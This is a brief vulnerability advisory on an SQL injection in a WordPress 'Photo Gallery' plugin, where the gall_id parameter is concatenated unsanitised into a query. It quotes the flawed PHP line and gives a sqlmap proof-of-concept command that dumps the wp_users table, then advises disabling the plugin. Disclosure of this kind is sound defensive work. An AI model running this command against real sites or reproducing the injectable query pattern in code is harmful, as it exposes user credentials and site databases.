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SQL Injection in Photo Gallery Wordpress plugin


This vulnerability has been discovered and reported by Carl Clegg (carl(at)cjc(dot)im)



Photo Gallery is a cool responsive image gallery plugin with beautifully views. Which allows you to add unlimited count of images in your prefered format.

Risk / Severity Rating

Not calculated

Description and Impact

The file AYS_Gall_Main.php's edit function fails to sanitize the gall_id url parameter, allowing SQL injection:

$ays_gallery_id = $_GET["gall_id"];
    $res = $wpdb->get_row("SELECT * FROM ".$ays_gallery_table." WHERE id=".$ays_gallery_id."");

Proof of Concept

sqlmap --cookie="<insert Cookie here>" -u "http://wp.site/wp-admin/admin.php?page=ays_gall_main&gall_id=1&action=edit" --dbms=MYSQL -o -p "gall_id" --dump -T wp_users


Disable the plugin until an upgrade is available


*SQLi here

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